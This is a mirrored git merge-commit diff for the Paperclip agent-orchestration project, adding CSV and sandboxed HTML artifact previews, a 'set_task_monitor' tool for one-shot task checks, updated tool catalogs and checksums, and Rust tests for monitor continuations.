mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-22 00:30:19 +02:00
Merge remote-tracking branch 'origin/master' into codex/native-connection-continuation-fixes
* origin/master: feat(ui): add CSV table previews to task file tabs (#15445) feat(ui): render HTML artifacts in a secure sandbox (#15447) fix(runner): restore task monitors and durable timed waits (#15446)
This commit is contained in:
commit
9a776d80bb
74 files changed
+1947
-243
No files matched your search
@@ -103,6 +103,11 @@ pnpm build-storybook
|
||||
|
||||
These run the `@paperclipai/ui` Storybook on port `6006` and build the static output to `ui/storybook-static/`.
|
||||
|
||||
**HTML artifacts** covers secure rendered/raw attachment previews, interactive
|
||||
reports, security probes, workspace previews, and opening a report from a task.
|
||||
See [HTML artifact previews](html-artifact-previews.md) for the security boundary,
|
||||
supported content, and browser verification command.
|
||||
|
||||
**Composer → New task** includes agent/user/project/task mentions, skill and
|
||||
routine slash commands, and populated rich chips on desktop and mobile. Agent
|
||||
mentions use the same avatars in suggestions, inserted chips, and the mocked
|
||||
|
||||
@@ -232,3 +232,12 @@ to Tasks. A Views menu on the task list covers the inbox views (Mine, Unread,
|
||||
Blocked, Recent, Everything) and the task-status views (All, Active, Backlog,
|
||||
Done). Bare `/issues` opens the last-used view, defaulting to Mine; links that
|
||||
carry a task filter open All. Old `/inbox` links redirect to the matching view.
|
||||
|
||||
### CSV file previews
|
||||
|
||||
Task attachment and workspace file tabs render CSV files as tables by default.
|
||||
The first record supplies column headers. Row numbers, row and column counts,
|
||||
and sticky headers help operators scan exports. Rendered and raw view icons
|
||||
remain next to download; raw view preserves the original source. The table
|
||||
shows up to 500 data rows and 100 columns, with a notice when the preview is
|
||||
limited. Download retains the complete file.
|
||||
@@ -487,6 +487,7 @@ Operational policy:
|
||||
- Attachment reads are company-scoped and expose stable path metadata: `contentPath`/`openPath` for inline-safe viewing and `downloadPath` for forced download.
|
||||
- Inline-safe responses use `Content-Disposition: inline`; unsafe types and explicit download requests use `attachment`.
|
||||
- Script-capable content such as HTML is always served as an attachment with `X-Content-Type-Options: nosniff` and a sandboxed, deny-by-default CSP; it is never rendered inline on the Paperclip origin.
|
||||
- The board can fetch bounded HTML source for a rich preview in an opaque-origin iframe (`sandbox="allow-scripts"`, without `allow-same-origin`). A trusted CSP precedes artifact markup and blocks remote subresources, API connections, forms, and embeds. Rendered/raw icons sit beside Download. Workspace HTML previews return UTF-8 inside JSON under the existing text limits. See `doc/html-artifact-previews.md`.
|
||||
- Video attachments are inline-safe and support single `Range: bytes=start-end` requests with `206`, `Content-Range`, and `Accept-Ranges: bytes` for browser playback/seeking.
|
||||
- Attachment-backed artifact work products use `type: "artifact"`, `provider: "paperclip"`, and metadata with `attachmentId`, `contentType`, `byteSize`, `contentPath`, `openPath`, `downloadPath`, and optional `originalFilename`.
|
||||
- Workspace-only file references use work product `metadata.resourceRef` with `kind: "workspace_file"`, `issueId`, `workspaceKind` (`execution_workspace` or `project_workspace`), `workspaceId`, `relativePath`, optional `line`/`column`, and `displayPath`. These references point at files in a workspace; they do not replace attachment-backed artifacts for deliverables that must be inspectable without workspace access.
|
||||
|
||||
@@ -489,6 +489,10 @@ No separate "agent API" vs. "board API." Same endpoints, different authorization
|
||||
|
||||
Paperclip manages task-linked work artifacts: issue documents (rich-text plans, specs, notes attached to issues) and file attachments. Agents read and write these through the API as part of normal task execution. Full delivery infrastructure (code repos, deployments, production runtime) remains the agent's domain — Paperclip orchestrates the work, not the build pipeline.
|
||||
|
||||
Self-contained HTML reports can render in an opaque-origin sandbox. The report
|
||||
cannot access the board's cookies, storage, or DOM. Users can switch to the raw
|
||||
source beside Download, which returns the original file.
|
||||
|
||||
Users may start a task with only a prompt. Paperclip uses a short prompt slice as
|
||||
its initial title and asks the assigned agent to name the task early. Explicit
|
||||
user titles are preserved, and naming does not change task execution state.
|
||||
|
||||
@@ -656,6 +656,21 @@ An issue monitor is a one-shot deferred action path for agent-owned issues in `i
|
||||
|
||||
Use a monitor when the current assignee owns a future check against an async system or external service. Examples include Greptile review loops, GitHub checks, Vercel deployments, or provider jobs where the agent should come back later and decide what happens next.
|
||||
|
||||
Native runners in standard execution use `set_task_monitor({ taskId?, idempotencyKey, monitor })`. Omit `taskId` for the current task. An explicit target must be accessible, in the same company, assigned to the caller with no human assignee, and `in_progress` or `in_review`. Runtime-management permission still applies. Ask, planning, and review-only runs cannot use this tool. Generic `call_api` lifecycle restrictions remain in force.
|
||||
|
||||
To wait for a check:
|
||||
|
||||
1. Set a future `monitor.nextCheckAt` and short `monitor.notes` describing the check, with optional service context and bounds.
|
||||
2. Confirm the receipt's persisted task ID, monitor state, next-check time, and bounds.
|
||||
3. Call `paperclip_finish` with `reportedWorkDisposition: "yielded"` and `continuation: { kind: "monitor", summary, idempotencyKey }`. Report outstanding work honestly; the scheduled check may still block completion.
|
||||
4. End the run. Paperclip keeps the task active, releases execution ownership, and the one-shot scheduler later wakes it with `issue_monitor_due`. This does not enqueue an immediate continuation. On resume, `get_task_context.activeTask.monitor` includes the consumed monitor’s notes and attempt count.
|
||||
|
||||
Only a valid persisted monitor on the current task authorizes that finish; scheduling another owned task does not. Authority is checked again under the final disposition lock. A timer that becomes due during an active native execution remains scheduled until execution releases it. Dispatch checks the current schedule, claim, status, and assignee so an older dispatch cannot clear a replacement monitor.
|
||||
|
||||
The service name `AI provider quota` is reserved for server-owned recovery of legacy runs. Native task monitors reject it; use ordinary service context and notes when scheduling a provider-usage check.
|
||||
|
||||
Use a new idempotency key to replace the schedule or clear it with `monitor: null`. Retrying the original call returns current monitor state without re-arming a consumed, replaced, or cleared timer. Monitor changes, audit activity, and mutation receipts are committed together, and unrelated execution/review policy is preserved. Legacy agents continue to use the issue API.
|
||||
|
||||
Monitor policy lives under `executionPolicy.monitor` and includes:
|
||||
|
||||
- `nextCheckAt`: when Paperclip should wake the assignee
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
# HTML artifact previews
|
||||
|
||||
HTML attachments and workspace `.html`/`.htm` files open rendered by default.
|
||||
The eye and code icons beside Download switch between the report and its original
|
||||
source. Download always returns the original file. Empty and oversized attachments
|
||||
use the existing text-viewer states and limits.
|
||||
|
||||
The shared `HtmlArtifactPreview` uses `srcdoc` in an iframe with
|
||||
`sandbox="allow-scripts"`. **Never add `allow-same-origin`.** Its opaque origin
|
||||
prevents artifact JavaScript from reading Paperclip cookies, storage, or the parent
|
||||
DOM. Forms, popups, downloads from inside the frame, and top navigation are not
|
||||
granted. The host does not accept messages or privileged requests from artifacts.
|
||||
|
||||
A trusted CSP is installed before any artifact markup. It permits inline scripts
|
||||
and styles for self-contained tables, charts, filtering, and other report controls.
|
||||
It blocks API connections, remote scripts/styles/images/fonts/media, child frames,
|
||||
objects, base URLs, and form submissions. Embedded data images/fonts/media work.
|
||||
An artifact's own CSP cannot weaken the first policy. No artifact HTML is parsed
|
||||
or inserted into the host DOM. The iframe sends no referrer.
|
||||
|
||||
This supports self-contained reports. Reports that need CDN libraries or external
|
||||
resources must embed them instead. Ordinary external links cannot open new tabs
|
||||
or navigate the host. The sandbox does allow navigation within the artifact frame;
|
||||
its opaque-origin restrictions remain after navigation. This is not a claim of
|
||||
complete network isolation or protection against resource exhaustion by scripts.
|
||||
|
||||
Attachment HTTP serving retains forced download, `nosniff`, and its existing
|
||||
sandbox CSP. Workspace previews return bounded UTF-8 inside JSON, and workspace
|
||||
downloads retain `Content-Disposition: attachment`. No database or API shape changes
|
||||
are needed.
|
||||
|
||||
Review **HTML artifacts** in Storybook for the production viewer, security probes,
|
||||
workspace panel/file sheet, and a task-to-report journey. Run the browser security
|
||||
checks with:
|
||||
|
||||
```sh
|
||||
pnpm exec playwright test --config tests/html-preview/playwright.config.ts
|
||||
```
|
||||
|
||||
These checks use Chromium and simulated report data. They verify working report
|
||||
controls, raw mode, cookie/storage/parent access denials, blocked resource and API
|
||||
requests, and denied top navigation/popups. They do not replace testing the actual
|
||||
attachment journey in a running Paperclip instance.
|
||||
@@ -1,7 +1,10 @@
|
||||
# Runner API escape hatch
|
||||
|
||||
`search_api` and `call_api` extend the native runner when an available dedicated
|
||||
operation cannot express the requested work. Existing tools remain preferred;
|
||||
operation cannot express the requested work. Use `set_task_monitor` to schedule or clear a one-shot task check; after confirming
|
||||
the receipt, finish with `yielded` and `continuation.kind: "monitor"` to await that
|
||||
task’s timer. `call_api` still rejects monitor/execution-policy lifecycle writes.
|
||||
Existing tools remain preferred;
|
||||
agents do not have to search before using them. Only two tool definitions are
|
||||
advertised. The API catalog is returned on demand, never injected into the
|
||||
initial prompt.
|
||||
|
||||
@@ -1 +1 @@
|
||||
[{"annotations":{"exposure":"always","operationId":"get_task_context","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read the active task and actor, including the exact approved Markdown revision when this issue has an accepted plan.","inputSchema":{"additionalProperties":false,"properties":{},"required":[],"type":"object"},"name":"get_task_context","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"get_task_history","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read bounded comments on the active task.","inputSchema":{"additionalProperties":false,"properties":{"limit":{"default":50,"maximum":200,"minimum":1,"type":"integer"}},"required":[],"type":"object"},"name":"get_task_history","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"list_documents","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"List revisioned documents on the active task.","inputSchema":{"additionalProperties":false,"properties":{},"required":[],"type":"object"},"name":"list_documents","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"read_document","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read the current revision of one active-task document.","inputSchema":{"additionalProperties":false,"properties":{"key":{"description":"Stable issue-document key.","maxLength":120,"minLength":1,"type":"string"}},"required":["key"],"type":"object"},"name":"read_document","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"list_document_revisions","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read bounded revision history for one active-task document.","inputSchema":{"additionalProperties":false,"properties":{"key":{"description":"Stable issue-document key.","maxLength":120,"minLength":1,"type":"string"},"limit":{"default":50,"maximum":200,"minimum":1,"type":"integer"}},"required":["key"],"type":"object"},"name":"list_document_revisions","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"report_progress","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Append a durable progress comment to the active task.","inputSchema":{"additionalProperties":false,"properties":{"body":{"description":"Multiline progress update.","maxLength":20000,"minLength":1,"type":"string"},"idempotencyKey":{"description":"Caller-stable retry key.","maxLength":240,"minLength":1,"type":"string"}},"required":["idempotencyKey","body"],"type":"object"},"name":"report_progress","outputSchema":{"additionalProperties":false,"properties":{"commandId":{"description":"Stable command identifier.","maxLength":200,"minLength":1,"type":"string"},"disposition":{"enum":["applied","duplicate"]},"entityRefs":{"description":"Entities affected by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"scheduledWakeIds":{"description":"Wake identifiers scheduled by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"stateRevision":{"minimum":0,"type":"integer"}},"required":["commandId","disposition","stateRevision","entityRefs","scheduledWakeIds"],"type":"object"}},{"annotations":{"exposure":"always","operationId":"answer_status_question","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Append the answer to a status-only wake without changing task disposition.","inputSchema":{"additionalProperties":false,"properties":{"body":{"description":"Concise status answer.","maxLength":20000,"minLength":1,"type":"string"},"idempotencyKey":{"description":"Caller-stable retry key.","maxLength":240,"minLength":1,"type":"string"}},"required":["idempotencyKey","body"],"type":"object"},"name":"answer_status_question","outputSchema":{"additionalProperties":false,"properties":{"commandId":{"description":"Stable command identifier.","maxLength":200,"minLength":1,"type":"string"},"disposition":{"enum":["applied","duplicate"]},"entityRefs":{"description":"Entities affected by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"scheduledWakeIds":{"description":"Wake identifiers scheduled by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"stateRevision":{"minimum":0,"type":"integer"}},"required":["commandId","disposition","stateRevision","entityRefs","scheduledWakeIds"],"type":"object"}},{"annotations":{"exposure":"always","operationId":"write_document","requiredClaimLine truncated
|
||||
[{"annotations":{"exposure":"always","operationId":"get_task_context","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read the active task and actor, including the exact approved Markdown revision when this issue has an accepted plan.","inputSchema":{"additionalProperties":false,"properties":{},"required":[],"type":"object"},"name":"get_task_context","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"get_task_history","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read bounded comments on the active task.","inputSchema":{"additionalProperties":false,"properties":{"limit":{"default":50,"maximum":200,"minimum":1,"type":"integer"}},"required":[],"type":"object"},"name":"get_task_history","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"list_documents","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"List revisioned documents on the active task.","inputSchema":{"additionalProperties":false,"properties":{},"required":[],"type":"object"},"name":"list_documents","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"read_document","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read the current revision of one active-task document.","inputSchema":{"additionalProperties":false,"properties":{"key":{"description":"Stable issue-document key.","maxLength":120,"minLength":1,"type":"string"}},"required":["key"],"type":"object"},"name":"read_document","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"list_document_revisions","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Read bounded revision history for one active-task document.","inputSchema":{"additionalProperties":false,"properties":{"key":{"description":"Stable issue-document key.","maxLength":120,"minLength":1,"type":"string"},"limit":{"default":50,"maximum":200,"minimum":1,"type":"integer"}},"required":["key"],"type":"object"},"name":"list_document_revisions","outputSchema":{"additionalProperties":true,"type":"object"}},{"annotations":{"exposure":"always","operationId":"report_progress","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Append a durable progress comment to the active task.","inputSchema":{"additionalProperties":false,"properties":{"body":{"description":"Multiline progress update.","maxLength":20000,"minLength":1,"type":"string"},"idempotencyKey":{"description":"Caller-stable retry key.","maxLength":240,"minLength":1,"type":"string"}},"required":["idempotencyKey","body"],"type":"object"},"name":"report_progress","outputSchema":{"additionalProperties":false,"properties":{"commandId":{"description":"Stable command identifier.","maxLength":200,"minLength":1,"type":"string"},"disposition":{"enum":["applied","duplicate"]},"entityRefs":{"description":"Entities affected by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"scheduledWakeIds":{"description":"Wake identifiers scheduled by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"stateRevision":{"minimum":0,"type":"integer"}},"required":["commandId","disposition","stateRevision","entityRefs","scheduledWakeIds"],"type":"object"}},{"annotations":{"exposure":"always","operationId":"answer_status_question","requiredClaims":[],"semanticContract":"paperclip.semantic-tool.v1","version":1},"description":"Append the answer to a status-only wake without changing task disposition.","inputSchema":{"additionalProperties":false,"properties":{"body":{"description":"Concise status answer.","maxLength":20000,"minLength":1,"type":"string"},"idempotencyKey":{"description":"Caller-stable retry key.","maxLength":240,"minLength":1,"type":"string"}},"required":["idempotencyKey","body"],"type":"object"},"name":"answer_status_question","outputSchema":{"additionalProperties":false,"properties":{"commandId":{"description":"Stable command identifier.","maxLength":200,"minLength":1,"type":"string"},"disposition":{"enum":["applied","duplicate"]},"entityRefs":{"description":"Entities affected by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"scheduledWakeIds":{"description":"Wake identifiers scheduled by the operation.","items":{"minLength":1,"type":"string"},"maxItems":200,"type":"array","uniqueItems":true},"stateRevision":{"minimum":0,"type":"integer"}},"required":["commandId","disposition","stateRevision","entityRefs","scheduledWakeIds"],"type":"object"}},{"annotations":{"exposure":"always","operationId":"write_document","requiredClaimLine truncated
|
||||
@@ -2561,6 +2561,120 @@
|
||||
"title": "Comment on approval",
|
||||
"version": 1
|
||||
},
|
||||
{
|
||||
"allowedModes": [
|
||||
"standard"
|
||||
],
|
||||
"description": "Schedule, replace or clear a persisted one-shot monitor on an owned task.",
|
||||
"effect": "write",
|
||||
"inputSchema": {
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"idempotencyKey": {
|
||||
"description": "Reuse with identical arguments on retries.",
|
||||
"maxLength": 240,
|
||||
"minLength": 1,
|
||||
"type": "string"
|
||||
},
|
||||
"monitor": {
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"externalRef": {
|
||||
"maxLength": 500,
|
||||
"minLength": 1,
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"kind": {
|
||||
"enum": [
|
||||
"external_service",
|
||||
null
|
||||
],
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"maxAttempts": {
|
||||
"description": "Optional cumulative attempt limit for this task's monitor.",
|
||||
"maximum": 100,
|
||||
"minimum": 1,
|
||||
"type": [
|
||||
"integer",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"nextCheckAt": {
|
||||
"description": "Future UTC timestamp for the next check. This is one shot, not a recurring interval.",
|
||||
"type": "string"
|
||||
},
|
||||
"notes": {
|
||||
"description": "What to check on the next run; do not include secrets.",
|
||||
"maxLength": 500,
|
||||
"minLength": 1,
|
||||
"type": "string"
|
||||
},
|
||||
"recoveryPolicy": {
|
||||
"enum": [
|
||||
"wake_owner",
|
||||
"create_recovery_issue",
|
||||
"escalate_to_board",
|
||||
null
|
||||
],
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"serviceName": {
|
||||
"maxLength": 120,
|
||||
"minLength": 1,
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"timeoutAt": {
|
||||
"description": "Optional deadline later than nextCheckAt.",
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"nextCheckAt",
|
||||
"notes"
|
||||
],
|
||||
"type": [
|
||||
"object",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"taskId": {
|
||||
"description": "Owned task UUID. Omit for the active task.",
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"idempotencyKey",
|
||||
"monitor"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"operationId": "set_task_monitor",
|
||||
"outputSchema": {
|
||||
"additionalProperties": true,
|
||||
"type": "object"
|
||||
},
|
||||
"placement": "optional",
|
||||
"requiredClaims": [],
|
||||
"schema": "paperclip.semantic-action.v1",
|
||||
"title": "Set task monitor",
|
||||
"version": 1
|
||||
},
|
||||
{
|
||||
"allowedModes": [
|
||||
"standard",
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
"prpVersion": 1,
|
||||
"nativeExecutionVersion": 1,
|
||||
"catalogVersion": 1,
|
||||
"catalogSha256": "sha256:c1d5a0b1008f9eb582aa91acf64804ef0dbb272a3117ac1a58ad22c91b7a1cb4",
|
||||
"catalogSha256": "sha256:4d29040d9eb7d983363340147ff8f57b48c9293d344023386fc3e2c90740847d",
|
||||
"driverContractVersion": 1,
|
||||
"driverKind": "paperclip-deterministic",
|
||||
"driverVersion": "1.0.0"
|
||||
|
||||
@@ -160,7 +160,7 @@
|
||||
},
|
||||
{
|
||||
"path": "fixtures/evals/native-execution-seeded.json",
|
||||
"sha256": "38a46fbb0d8721db2a8c10d58344d861d4e5970c7db165bfa409f5f7b07a058b",
|
||||
"sha256": "9c86d80bf994ac888ea27346b4e074811349d97fa46842404fc7ca1391473f07",
|
||||
"expectation": "accept",
|
||||
"compatibilityCase": "canonical"
|
||||
},
|
||||
|
||||
@@ -538,11 +538,13 @@ fn admit_terminal_tool_authority(
|
||||
"paperclip_finish" => {
|
||||
matches!(disposition.as_str(), "done" | "needs_review")
|
||||
|| (disposition == "yielded"
|
||||
&& input
|
||||
.get("continuation")
|
||||
.and_then(|continuation| continuation.get("kind"))
|
||||
.and_then(Value::as_str)
|
||||
== Some("response_wake"))
|
||||
&& matches!(
|
||||
input
|
||||
.get("continuation")
|
||||
.and_then(|continuation| continuation.get("kind"))
|
||||
.and_then(Value::as_str),
|
||||
Some("response_wake" | "monitor")
|
||||
))
|
||||
}
|
||||
"paperclip_block" => disposition == "blocked",
|
||||
_ => false,
|
||||
@@ -4900,8 +4902,9 @@ mod tests {
|
||||
assert_eq!(finish_result.result["error"]["code"], "invalid_tool_call");
|
||||
assert_eq!(finish_result.result["error"]["retryable"], false);
|
||||
let finish_message = finish_result.result["error"]["message"].as_str().unwrap();
|
||||
assert!(finish_message
|
||||
.contains("continuation must include kind=response_wake, summary, and idempotencyKey"));
|
||||
assert!(finish_message.contains(
|
||||
"continuation must include kind=response_wake or monitor, summary, and idempotencyKey"
|
||||
));
|
||||
assert!(finish_message.contains("/required (missing \"requiredField\")"));
|
||||
assert!(finish_message.contains("/additionalProperties"));
|
||||
assert!(!finish_message.contains("secretSubmittedValue"));
|
||||
@@ -5168,6 +5171,25 @@ mod tests {
|
||||
assert!(state.validate().is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn accepted_terminal_tool_preserves_an_explicit_monitor_wait() {
|
||||
let mut state = opencode_result_state();
|
||||
let mut result = valid_opencode_result();
|
||||
result["reportedWorkDisposition"] = json!("yielded");
|
||||
result["continuation"] = json!({
|
||||
"kind": "monitor",
|
||||
"summary": "Wait for the scheduled check.",
|
||||
"idempotencyKey": "monitor-1"
|
||||
});
|
||||
|
||||
admit_terminal_tool_authority(&mut state, "paperclip_finish", &result, false).unwrap();
|
||||
let terminal = terminal_events(&state, "turn.completed", None);
|
||||
|
||||
assert_eq!(terminal.len(), 1);
|
||||
assert_eq!(terminal[0].payload["reportedWorkDisposition"], "yielded");
|
||||
assert!(state.validate().is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn terminal_tool_authority_rejects_an_unbound_yield() {
|
||||
let mut state = opencode_result_state();
|
||||
|
||||
@@ -39,7 +39,7 @@ const MAX_SETTLED_CALL_IDS: usize = 65_536;
|
||||
const REPLAY_FILTER_WORDS: usize = 32_768;
|
||||
const ACTIVE_TURN_RECEIPT_LIMIT_MESSAGE: &str =
|
||||
"durable provider tool receipt limit reached for the active turn";
|
||||
const COMPLETION_INPUT_SCHEMA_HINT: &str = "Invalid paperclip_finish arguments. Required fields: reportedWorkDisposition, summary, completionClaim, evidence, and verification. When reportedWorkDisposition is yielded, continuation must include kind=response_wake, summary, and idempotencyKey.";
|
||||
const COMPLETION_INPUT_SCHEMA_HINT: &str = "Invalid paperclip_finish arguments. Required fields: reportedWorkDisposition, summary, completionClaim, evidence, and verification. When reportedWorkDisposition is yielded, continuation must include kind=response_wake or monitor, summary, and idempotencyKey.";
|
||||
const QUESTION_INPUT_SCHEMA_HINT: &str = "Invalid request_human_input arguments. Required fields: idempotencyKey, interactionKind, title, prompt, and continuationPolicy. For questions, use payload.version=1 and a complete payload.questionSet matching the authorized schema. Preserve the supplied question and option IDs.";
|
||||
const BLOCK_INPUT_SCHEMA_HINT: &str = "Invalid paperclip_block arguments. Required fields: reportedWorkDisposition=blocked, summary, completionClaim, evidence, verification, and blocker. blocker must include reasonCode, owner, unblockAction, and scope.";
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
"src/scenarios/scenario-plan.ts"
|
||||
],
|
||||
"counts": {
|
||||
"actions": 56,
|
||||
"actions": 57,
|
||||
"legacyRequirements": 106
|
||||
},
|
||||
"actions": [
|
||||
@@ -30,6 +30,25 @@
|
||||
"src/scenarios/scenario-explorer.test.ts::renders every scenario with exposure, control plane, authorization, diff, and parity"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "set_task_monitor",
|
||||
"ownership": "optional_agent_tool",
|
||||
"surfaces": [
|
||||
"live"
|
||||
],
|
||||
"legacyAliases": [],
|
||||
"contractCase": "protocol-action:set_task_monitor",
|
||||
"contractOwner": "src/catalog/protocol-action-contracts.test.ts::set_task_monitor has a schema-valid canonical example and every declared projection",
|
||||
"legacyBehavioralCases": [],
|
||||
"deterministicCases": [
|
||||
"protocol-action:set_task_monitor"
|
||||
],
|
||||
"legacyRequirementCases": [],
|
||||
"deterministicOwners": [
|
||||
"src/catalog/protocol-action-contracts.test.ts::set_task_monitor has a schema-valid canonical example and every declared projection",
|
||||
"src/scenarios/scenario-explorer.test.ts::renders every scenario with exposure, control plane, authorization, diff, and parity"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "submit_complaint",
|
||||
"ownership": "optional_agent_tool",
|
||||
|
||||
@@ -83,7 +83,7 @@
|
||||
{
|
||||
"id": "wake_scheduling",
|
||||
"description": "Schedule a bounded continuation wake when the current task owns the future check.",
|
||||
"operationIds": ["schedule_wake"]
|
||||
"operationIds": ["schedule_wake", "set_task_monitor"]
|
||||
},
|
||||
{
|
||||
"id": "routines",
|
||||
@@ -305,12 +305,12 @@
|
||||
"legacyGroup": 16,
|
||||
"name": "Wake situations",
|
||||
"owner": "control plane + always context/history tools",
|
||||
"operationIds": ["get_task_context", "get_task_history", "schedule_wake"],
|
||||
"operationIds": ["get_task_context", "get_task_history", "schedule_wake", "set_task_monitor"],
|
||||
"controlPlaneOperationIds": ["select_work", "route_wake"],
|
||||
"realSurface": "wakeup requests, heartbeat context, comment/interaction/approval/blocker wake routing, and scheduled wake services",
|
||||
"mockStateDomains": ["wake", "task", "comments", "interactions", "approvals", "blockers", "run"],
|
||||
"prpEvidence": "attention request routing/resolution plus resumed session/run causality",
|
||||
"gap": "Production scheduling binding is unbound; control-plane routing remains non-callable."
|
||||
"gap": "set_task_monitor binds the one-shot monitor scheduler in production; schedule_wake remains mock-backed. Control-plane routing remains non-callable."
|
||||
}
|
||||
],
|
||||
"rules": {
|
||||
|
||||
@@ -6,7 +6,7 @@ Status: canonical explanatory contract for the Paperclip runner V1 surface.
|
||||
|
||||
This document keeps three independent meanings of **group** separate. PRP families describe wire evidence and controller commands; capability placement decides who owns an operation; behavioral eval groups organize the 106 scenario corpus. None of the three axes can be used as a substitute for another.
|
||||
|
||||
The generated totals are **105 PRP events in 31 event families**, **18 controller commands in 7 command families**, **10 control-plane operations**, **56 reconciled semantic operations** (18 always, 38 optional), and **106 scenarios in 16 behavior groups**.
|
||||
The generated totals are **105 PRP events in 31 event families**, **18 controller commands in 7 command families**, **10 control-plane operations**, **57 reconciled semantic operations** (18 always, 39 optional), and **106 scenarios in 16 behavior groups**.
|
||||
|
||||
## Axis 1: PRP v1 event and command families
|
||||
|
||||
@@ -87,7 +87,7 @@ Placement has exactly three outcomes:
|
||||
|
||||
`answer_status_question`, `block_task`, `finish_task`, `get_agent_instruction_history`, `get_task_context`, `get_task_history`, `inspect_operation_result`, `list_document_revisions`, `list_documents`, `read_agent_instructions`, `read_document`, `register_deliverable`, `report_progress`, `request_human_input`, `request_review`, `restore_agent_instructions`, `update_agent_instructions`, `write_document`.
|
||||
|
||||
### Optional operations (38) and grant groups (14)
|
||||
### Optional operations (39) and grant groups (14)
|
||||
|
||||
Grant groups are documentation/exposure bundles, not additional authority. The operation descriptor's exact `requiredClaims` remains decisive.
|
||||
|
||||
@@ -100,7 +100,7 @@ Grant groups are documentation/exposure bundles, not additional authority. The o
|
||||
| `governance` | `list_approvals`<br>`get_approval`<br>`get_approval_context`<br>`request_approval`<br>`decide_approval`<br>`comment_on_approval` | `governance:approvals:comment`<br>`governance:approvals:decide`<br>`governance:approvals:read`<br>`governance:approvals:request` | Read, request, comment on, and decide approvals under governed-action checks. |
|
||||
| `cases` | `list_cases`<br>`upsert_case` | `cases:read`<br>`cases:write` | Read and update case summaries without reusing issue-document authority. |
|
||||
| `workspace_runtime` | `get_workspace_runtime`<br>`control_workspace_service` | `workspace:control`<br>`workspace:read` | Inspect and control the active issue workspace runtime. |
|
||||
| `wake_scheduling` | `schedule_wake` | `control_plane:wakes` | Schedule a bounded continuation wake when the current task owns the future check. |
|
||||
| `wake_scheduling` | `schedule_wake`<br>`set_task_monitor` | `control_plane:wakes` | Schedule a bounded continuation wake when the current task owns the future check. |
|
||||
| `routines` | `list_routines`<br>`manage_routine` | `routines:read`<br>`routines:write` | Inspect or manage company routines. |
|
||||
| `company_skills` | `create_skill`<br>`update_skill`<br>`list_company_skills`<br>`sync_company_skills` | `company_skills:read`<br>`company_skills:write` | Create, update, or inspect company skills and synchronize the current agent's skills. |
|
||||
| `secrets` | `list_secret_metadata`<br>`read_secret_value` | `secrets:metadata:read`<br>`secrets:values:read` | Inspect secret metadata or use a brokered secret value without exposing plaintext evidence. |
|
||||
@@ -162,6 +162,7 @@ Grant groups are documentation/exposure bundles, not additional authority. The o
|
||||
| `search_api` | `optional_agent_tool` | `api:discover` | `standard`<br>`ask`<br>`planning`<br>`skill_test` | `read` | `none` | no | inline/no mapping | `live`<br>`live_codex` | `PaperclipRunnerToolAuthority`<br>Authenticated PRP tool input/result and existing HTTP route authorization/activity records.<br>catalog PRP status: `bound` |
|
||||
